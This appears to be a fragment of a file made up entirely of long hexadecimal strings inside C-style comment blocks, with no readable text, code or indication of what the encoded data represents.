e45aec93f8a1a4ee77775a794b7de4f68c45ee83969ea1e24212186d4a1f2491c7f44f53e1c80dac343e439704f5c6962c0ad2e2b4560d59dba706764968cf518c9f1b7652527f48de77382c32563de5de055eabf3cf67d0e55a6f17bbcda6f2401200643d1c813b87810bed762ba8dbb327878e3454269e226c049f90382e0bc905ef8c0983add9fb8b6f27cee0baa95bc03d94d858b8d7da599e201f963f05afc7b2c9eab0a3dec052b59feb724a50933162c9a608c88db33d930186f2037282502e2d3aff294c909e67969d85958ed1c771a54b9b408aa7f588355dd53f232ec0325fb721482e71e68e30db192e03efa9630be2bdde178ecfdccaf36a8c40c966608a4fbe3d906517e04fec807f7470aba76b3d47c5ea8d7be0c910daa9be61b93fdcb6a2f2b5f14914d694fbccfc2a01c60efeef223c86b932c06e90ff3b5142b59457e560b56d43a932634aa57abf3e4c6545643912aac24f132cfe7f1daa63b431ca2210677946a017f8ff007e04ff5e061abf906118143f256fb5734e7f44f5f0cddcfe1ae39cb241457262cd89a35adf59a9fea31e3cae2233e64c59e3a33db43b3f0fd9c163fb857c89ece7fb9f682d89a1eecdedf81d85cbf50af5ea046349adcf6f9db528e3757aa8e7dbaf3673b80a22a481f46eef3e3df80d1d0216dc4b04c593561f630c4dbf704c9be21e02cda35346856f1e1d9cce772087d46caed9f6c47a4159779cf1fb5613773cdbe07d1c93d6e6dcd7228faf3b93c295bb3ac74e8545c4cef9497f3c2a938db4d06ccaa3351bfeb6a5110ac74776be7313442535974f9cb5c87739d684457c9baaf7771460db059c1a3db147e1b5e287093ae7d2c5a8145ca1ef51b579417518a01cf085d528c055a2a44d542b02ea7ffd21030a0488698180d632dfc4effe8f148f39b7fe0b4f2ad7020d9e9159f142e5daeb6ca97b0ffb6e6593f0b3b093323e4636b1fd988eaac18a63faa035c277200a6fdad6011425acd25e0e114b0342e43ae7a09ece438f31faff271bd0e4268ee7a60a5505ccfe8fbb011683c5bbd1196c60a84d9818f06894b1adc9071254afc3ae296eb6663e90a9d2b3e65945ed4e6f3abf36bd6eb5fef6d4accca6b03ec63d51c742263d6fe749b8159584a9585f2e73c78cf58675184afa721b879c14563f8683ec368675786dcf419d1a7a45dd6218abbdfc91874d9a797380d841033eb927c8e575de0db14dfaea77550317813c54f1ac61577c4fcde5ab991bb1d98dbbbf539923bccb60a1ff11dda12cbe05aff6c0d133748f4649c50a15f34f2dc68b92640c6794cb0bfd72870567a7f4190ea13c1e5daa274074908680e28484925cabed7e24864d4d0b6df1f551a2482121b64a904cefeaa58d9538244ad584c7443b2f8371ad251f4145b433a93afdb5e4eac2a905367c9b47539eed396ad1fb8161dde63c7d20c5487ce2ee7b56937121137ba5934a01d00bf90fc8f63181913ff626ead769cfef14bde0569e7064b8f4d547935ecc1b67af931f30db35712b3abf1932c38a8a888a17b21705f94dd04c6bb7fab34b4bee7cbd95dc6b2586db9448034d93116617a275b685715c843953cc583acfe18fc7e6f83ed25a63975e72f57c94e0c4cd690130baf560aadc696ac76e69d82a224eb25266675c505406747a7e60957269b68dec2ae7814fbe31e1141cdcace7662c4be3e6a4e887f8d2e18e0eab386d57878fc4fa194bc1e66cbca3d949d9a2cf8c7f3996d648b8b6d0cee3b98f94232bd9cb13378a4d6c10a784d88492b920f25e635e5683ffb4c36a4a62a043f25297311ed3fb6f009c1536c145387b6ab3485bbf8cd4c7728e20bcedd08b54798266cb9122027e769de4c73a985ae74eeccd6bc846a560329847a6067905893b0d222e1226ba0fff8aa519b6a818241f351282590bf6a180b64c15e467be136949bc0da6e07e344063fdf6052135b6bd9b11f38dadec135e3e1d8a0b697b622f65f005f60a38886858171afebbc745e817ecdf8cf6ba9952b9df00909cd93486777c18e16ff88ff4e04e38b86573d285de24319f4b749b6db517ad50b5c5b191a71746d560ebddd6fc0d427ee4fe0a876374ba65bbbc7b23c725ca2a3e5ceb6bda39d040658cfe06684c5433a6742d3537e2dd6332b94746af8a0e2502d3f7eab6bcce128e808da5d5b76288e0b5c87c0e5c123abe4613ef0ba6d0ac46b89f57d7bba7e491788c6bf85f7ba045de6bd1f64b2b01d76280fd85b7682fac1b3a7b68e0db6d11f70a94102516b265792afe*/
/*b7f0ef174968b9ff03c0e0bb127d66ec8a5f9cb615a3dcecd5e9fca0e8dd92df4cb73bb844fe67d96eab4dce8cfa22e513096b3cca6765dcbedbbe79f5ace3049218fd2d852b8d3e3ddd2a6ed6ccc6d0318f534d8a867c7b607bf7b29e2233472b44dee2a328165d0ec6eec5e8017dbbb80ecc0c1c5dc9015c4a6d4bfd34d175cb2b22c28bf82bafbd7d1d9fd3fc84d5039e41625b05df9f9d006d4613f518319d85d2deb104fb97b6573174158d937d9c959bd5bce7e6ffe5acd8537cc46de895efbcd9072e1e613c46689eba027f6fd12f714e13ada531b8dfb8e23ff0bde0ff8f27be83774a1c4d918ab25f0f5c90f817fec69230ae91b4e85d7ed757cb40b58f6c5d475c15de00706121d99a92bf27a584457cb162e8151980ff18808cf9932fc9e17e08945006b809f2a6d12ac6315ddaab7157742599a8bd7b79b7aed4efc9aa364204e2a1d5b4973a631bd7149286047bd2da46892b276a696648d2b495f30d8472543664ca5f43ecd060756123daa164ba4b3e49414e0aa6cbfe1157a399e10d57fecb73f754ff3dd46b434a7ba6f26f0050816ff1cc384b112996130b1ce3323c1f43ae963bf694848ef53b035d6b6489f7ef54165b03cd479deb98730deb33f8fddf2a6d28059f46b2329e0fbb9237aab182f8f43004c2b8bc4614145e4b6498d6b01ae52dd254e706d9087b90135d694d5294920fb0a7f2defe6906336550f81088ec0045fff420df554057bdd8f7b12f273f26e0d5d24119eb74121fb9f115140f305a0c31e57805ef857c5cbeb56193d33d564027d05c399242c3060fda2561bd9e2466422fd2496fefe9a6492641bb48bd806458fe186c1acfb038365b4e3669184560582337b49a67b27f5194c2ae3db828512428e993d75dd6c14526931d420a2292545ed9bd6e9a8fa213cd41c2022b43a3ead7e5f835428c7750095076b8d1459c8cbd8adbdcc8fa60f67b2c73b45b4f4a876aa43cf7afef83c27ff6e4c6defd8f5cddeac864a6fc59b70715b2e310eff0f260c516081330834b01d61ce9ccd413d93a3f681d293f9f4680e3df42c19d9d8044abd75cae893a56809f02d473b07428ef76051e3905d6eb5c28a25458897fe3ad1de9969bc239d6c80a9d7703c104b64022b9840881b97eea094cc6c4546860a1269cab15432540fda1633f9db48dc6a6e4de4521522239ab3406ccca0d6a32e96043a187c5fb632e7dba7681f749dbc233e623e00726abc0b1fd87e408caa9a780e2f758803339de7e3fa970de230d9e9ca1bd9b79bd9fe2a930e745ea1c23b324e76f1d143de167373f45699853dae6f61ba2fdb69f63cd4eacc70c57e743819df726d45e8aedaf977920b2b8a4a002c8dbd69e25f39484a801826b0de5cc237d4d31728fec249fa1e7c80c253a7b4906cdbae7ae0214bf7884428c4011b7cf5d1cf92a369237d711ceccfb10ce60a6bdae87d0b71667b59a1b9b1aee5f0d65840e7aee4dca62ecec6413a989aaf139d518cb73cca8fa4bdb555a98c591b153f9f55634797aafc81e71a8fae10161b8d094938e1b13409d006af59d976dbe3ca1209139dc16209286b148cdcfff39d498126f40ff3338b1d40cd86d55874e9ceff405894fcd324bc00babbf8a3d506912e9c0fa4477127f5faf30872fe4c135f0f15053976ecd3faab722c92cf907b1aeb252d5c3f512bc21f01046cb09c69e5faccc8ab160e7a8f17b81aa97834b2db522b990e73c83c4c50aff754ae9d3783cc1a3396325d07341cc4d9a60c8d9d3b855fc93822a6b4944c2c446fb954d6e5dbf1914b73ae1c4222dbdcc095ccbccdfb6bf2ce839ae3ae5a94c07c3bddeb53def75332f7bfca3b87f6115ff4ea20629159386a057125c858c4f04f398eaf7db1334877b54e1ceac5edda4cdab0ee4ff02b435a634b989291436206e20fdc77fc790e0ac6a0d09aa93c33b97515e4f7bbb3f654e6b1f2395bfb96ddf842b7bfb6386c0449560e2f1cc7a37666bba5d57e884b41f05618144a05c3616b4f5e07afebf15bfa236b043cedd0ec4d6db7d028128e5d47c68689a25bc37ed11d746764957d23b9345494e44af4740959a2c5a8616150ee77220294360f57452b9ba424cf93fdf41813e56e1eadd4ea538f212aaa3376217baec48c9ddd6d9b5ec3ed8eb6de8fa105b0ef14447ac9ea87c48742bc76f50b05de917d5f1f434f4a7ef168611c744653ab92b59f4b828d28f30c07cbcf617602a4af71680fe6d03485b2642d482c658f22aba0b96a52d27f5d97c49d592976b5c0f5643d8cbc9bbefe3f33e78b9c035eb12497164eaad6a7f7a8e7a2ffa264134f6d59c8173074d2fdc6afe3f491c5593f451c72ed7ed60c7fd54546f9f527420de709b0aba8ea53e7b5ad1d4099bfe925bdddc1d1a4e4c8a03ddb0644f4f8de07ee23dad6d34e5dff6655ed41542d4c627590b86a38c7b1d92b25c5cd11beace6e82be16499c82aebbbdc990a26d7a8368b74148b86516ea1948b8022afbfbc880927be80e9c98abd3cdcc2b52a70a2dd5c13ec17814413f9f6ac10b6bb05ea8a10489e8b7703ea674ede3aa2b10cd773e3a9480805c6dec17b3617efde74d58a29870c5158c5e9bba94a9a7b1f9229c6e57b08c3f2d32d2ea474bf83b2d35c386b57357cd86c6c918df8df9b62bf31fe1283618a530aa31242d36912476f8a66174f100acb551ac264a03d500ce78c359e0e8826e8bc1670bc801e203d3af3e4a49b5b719be0a233424691b4aae2a47ec511ec3dc2fc688cf5ce6fd837231e50630bf715251014b5f0144efa927bf338055ad897edf20be3478a88b26*/
/*ee230ca082c8b87316025c85e60bf279407fa588b4a8f8544a2bc7d3bd57901bd28886c3e0d5fe86904adac35998283aefe3c7c50b1804c76c304cd4d2c23d5ae4828fe5514be5001902fc22b1e5262be52aff784bbd5b6d6e36110f1f83c5f7ee8b4cceab2a4b6c5bfd620a65c655845f4b056fd76993815b290cdda9fc874309804674d55cc8076f6731d266ec9042083d4b4a075c8a11d2d17656452701241cd0c68c6275727a82725e2a8c8d2267f1cb38d9360ac92d7ac9ac35257d344d856ea3a291017c2f7e3b4265bd4bf22ca28e0c19fd4edf3e9324bceb5ee69b6c588039b4a07a92440e2ee1f6fba04be9498dfea4d098d92c62306f19a22dde4044a4533ab3ed23bedbf257c2519b7975485a6bab8232dc0c002ba6884e06085fb92f99fa618ae55a270693b9b4bd1fa8c6ee978e9c8ae95e0d11039387d672343902e46d103007b8d01ce253b15194b42e64c852c924a794d9845571802901ae02036fa26d410e34e2236d44b1bef8830d5539073254d220d45f9a119e3343dc30189b113f473c07fb751b633e4b56406a36fdefd77fdf32c17f778a904d10bee1f299765d31146c7aa7c12d9a1c3edc2a0d507c39bd200d7ca069300e18baa3409f63e043b49fa52eb0c2414571c667d36104ef772b6124c9d3ef57884f20f5f9182999637e3656b5dd788f04d0ed1705379657f46a36327c94b8f73e217db4389655f5b994a9e387dc490262e27e5411507229406d4b5936f94a51fa7950cc75e6c6e6d348d7855c08011bf26330c4389d9d53e8ef014530f76d4b67aaa6e3fb8b2166f880880cb9ca4aa16e24f0e00f159b41411a885bbb9c3a8ae67abfc4cfcf7c3cd588aa8b9934c3051041063b9458f6a097ee018143bf6722c98095801f7646aa55b67e1dd2dff5457401cec8df5bc9cef4ae73cae2fb7159eb22ae42f028c0f19a5819df1976230b628fdc03f8525afb75611441cfa8c5ddd2a1992210140b43efc275ecc3fc97003cb1d46f699c3e0351a5c02c13402cce277e53c70e94b8611aae7c46d7ce461c2c8af607e2d31ddef678f9cbf0320b9b663272e77814ec3ecb68187e10e025f47f2c4db1b851879e0e106a67f61503e6f4d01ebf04da920934525a234e59b58edcb7488c590fc39f885e239e080ae33de934ccf7db2dfcb16e412a210b9ec34a389ffeed6ca566cd661c17c379e40c5cfd3803c062c33398ac74ec16d1caf84d7c209bef3f58eaa135becd0f33e3ebbc825b9cdf1a4e70edb03cb8602540fc99dc66f86c4e530a62272420b9743ec9f6bcbb2d7fd94abaa17b1872f4f55d2930c4c3792d6a2ca8e6ecde8115c61a0723fb3717d6bb9c0879ae9286b6d9f91046223a4ce957f882a64bdba2e741a39c0ff35f95fd37bb9ca9ac749160a154d4937e6701b855d9626103f63c905ccad76335c2f079c51e308699f7cc5df3b1905e440e0d39612300369d6ae37bc57a4c2a034d4f3cf027ad4366246efdd41ef83c36426ff7ae69ff8b5491a27b819ca7c363c9b1e65b6b1323fb40870b18c76f1b50d54da12635e22d9a454591e25499c656e7d29167747e4d47cf2e98339405cffa432bcd364ecd22a12814ceb30367bb0449ae755437dad27abc714dc5565020868042f3cb0ae10ee011519a7b78bee46cace0934939883c3cd2136f87405b02eefca1235aebd3e54a043c5b4805cc970a40e7c05ab9f3459264b4f720c68bad1dd31a552505f6f0c922c6b78ae11b468d815460406f48d1ba0b5eabd2e131103d0f6cdca2e8562871452aa8187dcf41b9b928b386fdb04e261df06f5376a2a817fa39f7870a285707066ab04035c8acf0decae6b2fb24661d2c167e298f2d01e439973c6dd8a0a9d8b7e364f6e5620f54ebc7c8171f35358f38dc5018292b7dcbee56625b7d1e71453044fcb971a021f32944e6f326de3e1274dfffa466d7d0fd3cfdfa0aadfa815dd616d6fc618143871397201a6ab32cea6b03229733013a2dc7bb3f38f3e33c5f4078e2e1a656e9482f1d5bb662a873bd10c2b6b118615bf58b637635eb752091c9f3ba22909eb422e5adb1807bcf7f54e02fb36afa5ed13c5c95ca6ea16125ce1bab00f4b72f1224575e682eb79ac937b6c60e365c679eb31bd26454718cd09d65a4aa30108e5e3b461661791b16b6598bd9e2036a9546f8ca617904227ba48f0be931260284f231d4328cf6c98d17df8308dfd1cbd9a6ea919752baaf6361641d9b48e7abc354dc0673f3236e141713cd3ceb91518566a12ea35ff109d0be99ab611ed72a0703b32cf9dbf907c40a30c99d74a516a92ea8c89ebd753f16bb740cd81d6ce8e20644b1734741dc890cf15a3845365445fdeb65d41917e2e51a51f97edc8787d8193784613297aadf8ee93ced0336d989cffe23b7bef5a2824127c5975b94438f8c9c1afed77d99bb81042b54d843dfbee4a738d784cc6dcd39f7c8c594e468475ace588c0f912436d6fb157aead16679ce84f94907b7eaf88c0f15338f303b679fd60c334ab82fc41ceec20845965a095da2f342c6fa757e34243914b41b0bdf34f16259d8807ed4ef6e3b7f8e24853829ad21ce96503386fcc6c65bdd3e87089cc126e24093c42387b58fcdba9a7e5781cd1deef96e62cb872ccf005040d3c9e6db26de4781b4d5028ab1ed229480a127ae69f2df76e6952f4d247b9791806a71acf81f987e93f026d8d4948dbed52b8a2ee71c0697090eeb64b3b0df4c602cce5b10f74b130c7bea83800d6cece2956a8c2f022858686ced355f1106bf29286b6e163c3bc77604e5b83a94181c177e8c4a055905*/
/*8f1a80b34582b65581cda97d8e8c762e29f9edbae893d8feb1528c183e5de12afaf275f76b43e52c6eb7b475f6d3c5978ab31e4edac95f03ac0212fe0b1fbc3ec28eb29f69f9804aa9271b2260f0fbb6a594144c86c52dce29fa52ac38d86ef5ec4fa3534416ec80429d65dc07a4a40a97c4d97c9350a61ed52fc90465159645c628d8546f6a7d86b0f502aeaade4eac95cd7a3adc2e3b69c1c522d239c21cc5e2d49355a28b674d2c6b89aff9c4da3a76e70d307b04acc896410baec740148b9db759bcab6be81e6ba81b6a5e4945c290015c1cda66e7fa3cc99cc163b7f1e8ee4ec86f4e03a49ae05b104f237db69a31e934c43d975fc5e81fc3acbebd54909810038d22917971f7bd5b94e642586e8cb7e53139d3afc31a39a3154217bb9449480561084a42d62d238e99227f98c65fea3e1448c3d031ada6691f873af15700e843aa997a17d8f0b4a429e63a85acb2346b5ab458495e29e19a2514f7f9cf16317961f004134b0362b28aa509b22fe6eeeb0722af7048605126325f5b1bb3fbd007b806d59dc9a884bccc492b0089c380a1c46588e1447dddeec90fee26b42a6d2a6586097ed70bcc0153d40b48c375362f5276e7330a37ea47c85fe73a94744bc806fd6522edcc43551486d781e366b283cbdf90d1891f8dd2aba16cfd39ebc22ab62ab9cbca6a9a1661d6db60a76dfbf601f0cf985e863f8e13c34ef19efc34d9022e48dd836e76b1370fe9e651395ef58a00ce294bfcf187f43cd81c39066d767a8f5c28757eef90a981d3af122fbcea1acf5029cd5ae010eebb50e9cd990643c678f9fb725cf2509e45c417efce112f6b9bf4eded11443eab435fe9fe593fd78e35030ea318f198ee187dc897bee737456cb4b7f997f7ac5283e9fdc5ca331b1f396a33040d5b2f661979801bd93230b3ed17cb04032d91ba2e39a4e2c55b95bb16f4f3af0a53a70a206714c99ef894b40e394ca7c9e5e835659d8ac3a72691a628a1b8f2fbf92b0aa50ba8d8445fffa9c7d88bf694f66b1cd759bbf28b14095e6efc588f0331a05d784db2b8ababb5a5563e7c292619ce9e59571b1b4380610803568cd3a216d5dc9e1427d2d4d7838c4b1b6910a717dc04b1f1b13421f82dd17839e5f77a3a66ac3409a890e48454dc1460800c506beecc43d32da1d2c825c36c255f5f7afa3b718f8e3eaa601bc2e8a95917d401c17797172f7601138152bdfcf5b4df676ad2936f5e88d70d5d252c468ff3a75ccb03fb94b79bf0d5ac65325805002c12027659b05444f0fd152e8819ad668e31871ff78abc594d7998da299b73156b3edc417e673abc1d211e10ea6630713c25ad1911bad504666d2c9fcf646d02319320010225598daf45c7d1bcddf896b61059db705d1ff86c9c9bec1d1c3cb9dbd7e85541e9d85606498ee0e6228148ca45a1b0b168ea0efbe8fb4c1ce44d65a2767b943aa6b6f64bc29f5713becc96a95fd060181290fcb80d85b39ae8b2b69f37ca1892c35e3c5147037aee30141c75ca4621da9ef89c65c27dcbd7c08eb7b3492076843c2b32c21ee771644d1d10fb6bde23cea10c10c054707fc761f89e09830d5fb00144cb2a765be4a8dec961a919a86d3ba26441cb023ec129493a9307c82788892e8db0597cbb6f92e19c89fea2387fcdf629864af54aa9d1e5c4d603aa477ed6c14ad27446800759d94fc080f20293246958525b1974e2ebf71e8ec955127ca2e5fd4a1c2087ef3e6023db6d01a545fc79766b2ef424f12ef4d7c5eb5db8b400241054c0d071f6d910ec8d18498c8ce4ba9badfd8df0e6a936d85b89b1e920b4ca1490d35799c6001312dd69aa12822e7c5f4fceecce8cd097a2a0d1e69a7184ea74ae8027b4ec5d39b56328c65ecffcf807f616f48fb463ef77ddc35c32407cdf1dbe4d96c5a63b26ecd017a37dc020065f27fc25bd35ec657994c81baa9c9aa4639bc9f2bf3ea6aa7af978129a41d5b7e12f98a41c23de8a81236c3103f0ef7ad135c2e1b8924884629847f5d36392549d8f9019d66a3a71c3372c0b11bdd0ac3c5a5926982b643ee96f5186ac3fc924677eb62aee50f0bb2e939f045f059be2acf17a381578ace2868ce21541168a2d6100eeef2026e294aa52b3daf77db2ca13a55de2e84d1051f3338797b475d67e47b5c0d4640a7488af5177454f96bd71cd777eefb37ef7971ccaad221ed0a9c81a4f700048fd117c3c86f8b1a6772147851603df34526a332e3a1b6536da1d175a8dbfa0db1e3d224ec75f03806301eb1fb3100ca704b3fb196d9a26ba5933fb6597bd59483a3f1745a572fc0018c21421fcfa90f8f18325491845f2881f7dc0843ec385bb10048ef5e469ab8cef24122073a8995ea587e59611172a30c4fa2c13f80aa5814b850fee22742f3a407a5f971e66e66f939577e0e53d0c6e54b71319c3412dfe8c82684c2f2a8802e02abbc1ad8c181f2aa82a8151200ef29a98f9d44eaed9ffa78d49cde190d0e04beab7a075d6ad0d3ee6d0ad751d39b183c41be971fb5822f7d05fdfc1c63cb0c4c11a4ab7d120027f6b75e9ff6ab7a29df20aedd4a334d7d1298fe5eb8865bf2e146d681d6e4caa326e2bb63d858f90197d83aa631851d959b0daaa36707976b327350fc8eecd89eb0afe01c7d519220b702dfe67dac193f0b8411c5e307cf7abd705714e78009a3ae9561b25f158e946b6ab9c37c7bf1f04cf41b9bc0cafd9d6d7d6df97654d7fb639e76fdd10112af1d69c913b78942955a43597a9038c21677620b64cb87555a30faf8ffe382a1e8a414f27b5796f48d89c04e5c6b1c0f49b27b0538fd1*/
/*97c1292a3ffd2342ec4102afbe6e601ccf0e8ff1df812ba046af793ad162e50956d0646b28e3ad0e17080a64bebeb30632e1fca36129e268a999b6150480f526b689cb46a42459271693e0f17a60ffd922f49eae2e317443fc827c750a6d9e2dc99f2b6227c03aa4d5290d2bdd3e2d373d72906fdebbaf3853d7affd06731b8ce978cf7fc8ba456025d83f67a43d811fb595bb1eb77bba27abdfbb7ce24ad3255d1a716086bccb6b688e33268d628961cfb71f804a25f3e35f622a03a12b0dbde0cd436bc7d4f12e5a556979275eb3735f86a68d610aeee88b44a487cf354c68bd673fd80c306bbfa0e41561a868c281f627434342515d9c5df796ab906b609d3fe9d18dba6488c15d4cc0a5edb30629afa0f584587c3aab319155df791b157c1e7980977e0bd1b3175f8f3f2f34216ac2ec9774290a8a691c61c8064a88dbf3c8e02178cc1a3aaf130a62e88b3651c0e89ede87caa6755c81544a64cbfa224b6b5c6778245802d9a1fa65dc5705a5124787eef6bb686dae86d317210f8e81e4b1bb081e1d0593631751ed23cbc9c1cede2ac997a5fc5bbd02b67b88e62709adcbd6260125627f11181dcf167002f0f6d644a75a9c4a0b443a6f0ffd9ccbf9607afd05dd4e2894bc0f9926bcdc227bd534d938b520315824155d79d179694204bf2ef301128336b3f5c76139f01886237aa64b3fe2dc191d2da0166ecdaac0a7c7bc06b77b56eaac78c5cd373d9fe20f85843ec6a73a1c6103efa803901fc64370c885f5361d72b5e3b148a0a8e5252f5ed9e188825abb204ff78010b932dee0a8938a849349ae310831ab11af5ac0f23fafbbd2378fb21ebe5d80454c6c3310dd28a517015527f1cd4e75abc440a211925887dca6297e33a55390395fab2d4700aeebfe0cff4bcb93687cec9a1b56ef73d561829aefbdd44f0c0fe9f8371652e4c999eae39b35423d42ebe5284ec3568f326aa1c7323a28050d382e52285505e9a8905db6510472ec2a3b4fcd24b99148451b5624382f18a8fb1fe4ef9bf3e3aa1130b0873ac03f5833173d89f62e4e275b04b923e8dd154cfd79ac656442663398c76b23ad06d7d37f735e7a55d5d24336df776910db359e8d8fc9769862f8fb6ad2d9cbe6186b0669f87c9724db3e0147b497254182b618f21a8b70e7cd40f13bbdfb1af53580fdc7e0ba823b158745707937dec5c1b0f2eab3bb4218466463c2d402863de54a97756faf007e251ec72039e9aab132a3dd8d20583d5cc60be5f1dc597be6843e0ea78afc5b0aecf3cf86769b36dc15fe4f97d6d5e2b01e9f44d9a35a39413ddf092e240dfa5bd42bbab2780bd72f383ccff8213f059b9135eb2bf5b17f57e48be3c4f86720d7b370b872816bd07d1ef2f8c6d43d2c42869b8b2a65d7b9cbbdd828c82fcec7a523701c61ad7d5d502120364cbd9e680664a0874f5b1f790b4dfc475387d9660cef1dae7dc4052da4b9987fa065dc7bee928f450f142411f9324d743afc7bc7bff81ecce629ae25d01e7e91db42f2eb55ae4f96a2b542bae152efc9c2041b78ffb6d92fc9afd58950971948b339665c2fd55c5e8ed8898add44fcfbba02d6dfff8a18628bbec0cb8dbd4b2431cb10026ed6a7b76cc24fd49edaea564dcc41a346d455063953ca13b812955ba49ce5a0e68ed2a00f0d21a9d25d0a352cf3d71f7029d6463360d0b3fba4853bde21e73e8ed621efa29b3f8e46decc0f5e54ce17fbce12eba2fbac232797388c4be13493ec21d78c508e48122580a5ee4564ed7fe3c06ea0ae33d2ee17df6eb121ccf04c3299b9addedc95066e694f9d2d26bf5cf039febe2c7d7464124a9d803e6b40251ecec926bc45d6d4d790526f14860c1bb05e4f2aaa901da6aec74e60f4ad75d4f36e442ad1e84d22254f96758630625a425ddcbd13db5c600f046c2a25be0e38935c7d3b59c0ff62c2db3b10f8dbb7aae579de62e97b28628cbbcd54aed455ea75933b5873a337343691c9dd56f739bea0209d8ab9c83ef7466379e4a5206b33b2fe5b6e9c4dcff227aa063a255e20393124de16212de81d7a5e2cd4a46840e9e23c7e6ba829465a03f975c41da89e8008e385f8ebdddabbbbc74357a2096605be9594b75b40628a0568d042d47eee628e85f1005083bf418221690cf140abceecdb3c15d10e4cf019e01f82f3fb4660a12126e92f2f9d59d81528185117ca115f4deb2bbdf62836d1889ca4b13cfddb57ea48b14a7d14713c0a665ccea0b771c66364bd75054c0b88408976c5222b1dd1f68396cd40d2fa2144e4f2245aaaa9af238d6f2c98d82bf7f3e67a8cd19d4787632489b35f577e7fd760578875b579fba0db64b47c70ed8bee8aea2aed0ecf1fcdda8df3ba2ff8e748c6f245b0f013baac7c7af624a943356bed4a7bdc773fd1a1362c9c10bf504d894eb7bf5e1d8ebaf57c3976a9c6e5c1ba85787961e4010b00f1f1164f8e04932c6137a19022a6d832fc9d6cb4ec48aa80c730c1d87cc95505aa187247763c0c69eeaaf40357f1e4c499d9c806e8484e4377170895a2578cc24b5fa12f6246a9710b1ec0540c30808f218f519bd9a81c8fad0829c89567147301cccddae15618f26efe1266fe767484744377c970bd62baec79975f4580abdca59e18543dc8ea0216d89d5c9c6b4feed364134c69f3fbb47bfcdc11cfa7f4a56d6d23922cd7d5a287db2908a8aa02ef6659e5f8d035f9728330bcf5fee1cb2fbcd44a4fe48f9fdd86596d603a388cd639ac992014c6974904ed48928cc32ab345c349c28bb89ab4d4295c5283731be327d31da04e6ec8e1345ade47d018dd5bdb*/
/*80c7dcccd100543ab1203ceec485f3ff2f706c23ea36afa5d384c78c00c5a4b7fb5f40053c13d65cdb12a1b72012f8107dbaa2957cdce03c336195149d5ab0361a48673a14b79e1b77faa6ccaf9715e5b2e6ccbe7a85c684028f77265ea0968a495a8f5ed9866169fa7985f6c9e390678f209bc818721d254ecb2f4b7c8a8b7e2687670121c8120e25c2bc6a081e8222a0ba037537de666161e0327eb954813374d72352a0d1ce78fce72d59897038ff58a0e636fb7b442ca0146ed593908b5acd0e8d3ef94e3bb0fcec30636ee8b3d43ce26d71a06efd1dda2fa42d7d80d356ce924d6d53845dc95d8b990a2722e76959036b2dbd158fe5d65d63c16477264df5885dd6bba44f8e78dd3ded0484dad40addec3bcc758a721003781f737db9ada0f7493ac7902926fa9ba2657c9427598fccf2b16054dff5079de80f789e5c47f1718ac6bb46f9cd26fb2dd093e373ed286282afd5e7beb149ea4f81826c282d5b8e3a8890ce371d492e173ab47a7b331729dbca7c8e7fadd6b2ae988ceb125461f99d222331df0f546bb04b27c86ced22e3d19025aada5c74119b8a7e2272d5c0e4ed46c46c4809dc75c556ca65574796adb959828c4f86317b91eb1be2236a1e2bb8441f5320a258c959f93ae24467bebd55f2781649593073e57386f714f5ffae3933383dded607a8facbb36921be70c1c9d7e910e5a818218e91d1852524d698ad0a3bd1b6fd355aa1004a27fd33acfd0f5a5570a23e69c99fb177f36eff8e32d982dabe74b75332720ec25c5b926d5a5cb02dbc4fcc55bd23ee2704852d47caa2169fddd54609d803b64367088826553ee09401c8523f2e217a3cf106ef7c6d603c1bf4028899a1b3b171ff7822d575aa405acbf63767613e8ee849a63d9ffe50cdc303c6429c507399b2bdd2e61f5c605e3bf880d0b53e0d892dc22db94d33ae34957246aa79a00f5ef39b9c6fcdecebcedcffd8400aa05e1d8706a918355aaf6d80f5b06618230b81cd3eab7306e147d893eda507ed050fc0ccaef9a71f0dcbd4d5d0e749030076cc9531069b11f172e8b7f4c6f03af003dc1a743e8b32662424bb95742cc677846fdc47bb9cd3364233f3b4cfb4da2fb1d8da43b5d89a00ac0fa86084400cc1af7f848ff3130199a00842e56f4379a4c1d48bf8c32ea47f1663a84e2a8f9d257c80da73bf891ac9c0af085ed250f4ec266a2309bed5b47ac029ec21d0eea5ac44039b348df9e01ea30a025ec9a0c549e430c00484cd40570fe4ae7ff017fde79b326b47cd3f7f82f37c7d24c1e440887eec86ad96df256b0ac9adb31a8997634dcf95e232f280fc2f64560592c5506fa36ea3edcecd5f7ba5e15913cfe5248eccd5b19d9f4adbdb1ed6d41e5f3d5a39a0ff7308f6b7cd6334e674df328c8aeb093bb0ab34858d65bf884667caf1c666295ab1ea4a1de3b6fdb41893390f6c2b6cca75998547803bdd8d06c68e2fb63df1332e53446a6c5db0f9a2b655beab83b5a1ef4f28c7c4a73310a6dd67737cc1dead8cff9771a07d1e2e42487a9ec380ff6a975c73285e85c9bfe6d9a5999b7ef49302db142fc21619734f363095b23fec56835c69ec251706e95d070a8be11050208cd8bf0f824fe1a4c4bb5d0ff3e5c7884eaebb025ef88486b6985d6697f787de97c4dbef7be8cf77c1fed8753584e7d5db50b052e4e5b13a4e1a904a5cc983a50fc29fdae8a915f6b0e1ca5c4ca7a89fc9f9b176188831533423652d8f9de76bffddf58a6b56c13ecc36e19308b5d4629fa08a1797009e8ed5779da3043ac0d0a8ea0c144db918a89cfc024ab0a88e74c2c8cf6c1658e5a895883780a8958dec4f8d6662b946f13ac587cbed2bed51738353bcb5e17f7e762cbcd0aa738095918a2018cf77ca59dae901100b6798b42feb14a53829b2546cd53d09805e34aa4a6f5eed39732333b9a2f9e3ff4942676ff4690af20ac6185fe36f5fd31138da54daf5536ac575fc2cf716d6f46c32309676c0c89a3014499b162ff77e95b5373d5512291badaba959467cf49df136e3d5a2c6198c14720f5c016d083d364df51c0a23e3e77cb5b6c36eaa736fc39f5a525f9e35378c9b21fa3105a2ed1cc12fd447df41124584231603c674eaf72d32e61f6b6ce9dc9f6c27e851ef963141836a58894574c1afb63021e03779a7d1bed195a23ad2c909a9889b1e687b2645d807a160e7c806d3d01e924b78eab39429dbd374f91d654e7e9097451fa0c0c0e97b68e266d39fd10adfd9575ec105dbd1c4c7987c237e8fd7c9bf7004733d2da83d99cc36e307f220ceeba6b1a40f0c2861df4a56d575a9201e463a7e5c064494e2aa8f94bcff150c477f13239af015eaa5917df6c6bc35e124e8ff24c7399b2f85d419fe16e15a309d6b1f70449ec3e78cec45aef6e3d873b8885ef52528fcebd635825d2c978404f1e8702f976d6ed8bc16d8a7d3f2036edee5b92b74e2a375d965e980f54eeb8b2d4ceedf2940a2b938e7047b3cf24604c3cae9b0b8dd9ceba61abd6f7a6de898d11ba2eb1c74882e3f0ecb8ea852c47d2fab88fe48afce075e91cc112461ba45bda24f1176b61c9ac7860ee8191e60229e33d806351cc